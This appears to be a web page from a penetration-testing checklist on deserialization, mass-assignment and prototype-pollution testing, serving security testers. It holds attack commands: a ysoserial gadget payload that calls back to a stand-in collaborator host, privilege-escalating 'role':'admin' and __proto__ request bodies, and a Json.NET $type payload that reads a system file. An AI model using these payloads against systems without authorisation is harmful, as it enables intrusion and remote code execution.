Deserialization & Mass Assignment

Exploitation HIGH v1.0.0 updated 2026-06-17

Test for insecure deserialization, mass assignment / parameter binding vulnerabilities, and prototype pollution in server-side and client-side contexts.

Tools

Machine-readable JSON available at:

https://reconatlas.pages.dev/api/checklists/deserialization-testing

// checklist steps

deser-01

Identify serialization formats

Fingerprint serialization formats (Java ObjectInputStream, PHP serialize, .NET ViewState, Python pickle) in HTTP traffic by inspecting Content-Type headers, cookie values, and hidden form fields.

curl -sk https://target.com/ -D - | grep -iE '(content-type|set-cookie|viewstate)'
nuclei -u https://target.com -t technologies/ -o tech-fingerprint.txt

Look for Base64-encoded blobs in cookies and POST bodies — decode them to check for serialised object signatures (e.g. `rO0AB` for Java, `O:` for PHP).

deser-02

Test Java deserialization with ysoserial

Generate ysoserial payloads for common gadget chains (CommonsCollections, Spring, Hibernate) and inject them into identified deserialization sinks.

java -jar ysoserial.jar CommonsCollections1 'curl http://collaborator.example.com' | base64 -w0
curl -sk https://target.com/api/import -H 'Content-Type: application/x-java-serialized-object' --data-binary @payload.bin

Start with DNS-only or HTTP-callback payloads for blind detection before attempting code execution. Always use your own callback server.

deser-03

Test PHP object injection

Identify PHP unserialize() sinks and craft serialised objects that trigger magic methods (__wakeup, __destruct, __toString).

curl -sk 'https://target.com/profile?data=O:8:"stdClass":0:{}'
nuclei -u https://target.com -t vulnerabilities/php/ -o php-deser.txt

Check cookies, GET/POST parameters, and session storage for PHP serialised data starting with `O:`, `a:`, or `s:`.

deser-04

Test mass assignment vulnerabilities

Add unexpected fields (admin, role, isAdmin, is_superuser, price, balance) to POST/PUT/PATCH requests and observe whether the server binds them.

curl -sk -X POST https://target.com/api/register -H 'Content-Type: application/json' -d '{"username":"testuser","password":"pass123","role":"admin"}'
curl -sk -X PUT https://target.com/api/profile -H 'Content-Type: application/json' -H 'Authorization: Bearer <token>' -d '{"name":"test","isAdmin":true,"balance":99999}'

Compare the response body and behaviour with and without the injected fields. Some frameworks silently accept and bind unknown parameters.

deser-05

Test prototype pollution

Inject __proto__ and constructor.prototype payloads in JSON bodies to test for server-side and client-side prototype pollution.

curl -sk -X POST https://target.com/api/settings -H 'Content-Type: application/json' -d '{"__proto__":{"isAdmin":true}}'
curl -sk -X POST https://target.com/api/merge -H 'Content-Type: application/json' -d '{"constructor":{"prototype":{"role":"admin"}}}'

Prototype pollution in Node.js applications can escalate to RCE via gadget chains in templating engines like Handlebars or Pug.

deser-06

Test JSON deserialization issues

Test JSON parsers for type confusion, duplicate key handling, and deserialization gadgets in typed-JSON formats (.NET Json.NET $type, Java Jackson).

curl -sk -X POST https://target.com/api/data -H 'Content-Type: application/json' -d '{"$type":"System.IO.FileInfo, mscorlib","fileName":"c:/windows/win.ini"}'
curl -sk -X POST https://target.com/api/data -H 'Content-Type: application/json' -d '{"id":1,"id":2}'

.NET applications using Json.NET with TypeNameHandling enabled are particularly vulnerable. Check for polymorphic type indicators in normal API responses.

Overview

Insecure deserialization allows attackers to inject malicious objects into an application’s data processing pipeline, potentially achieving remote code execution. Mass assignment and prototype pollution are related classes of injection where untrusted input binds to internal object properties without proper filtering.

Serialization format fingerprints

Java: Hex bytes AC ED 00 05 / Base64 rO0AB — ObjectInputStream
PHP: O:4:"User":2:{...} — unserialize()
.NET: AAEAAAD///// (BinaryFormatter) or $type in JSON (Json.NET)
Python: \x80\x04\x95 (pickle protocol 4)

Impact escalation

A mass assignment finding that sets role=admin is typically high severity on its own. When combined with other vulnerabilities — such as an IDOR that leaks valid role values — the chain can reach critical impact.

// references

← All checklists JSON ↗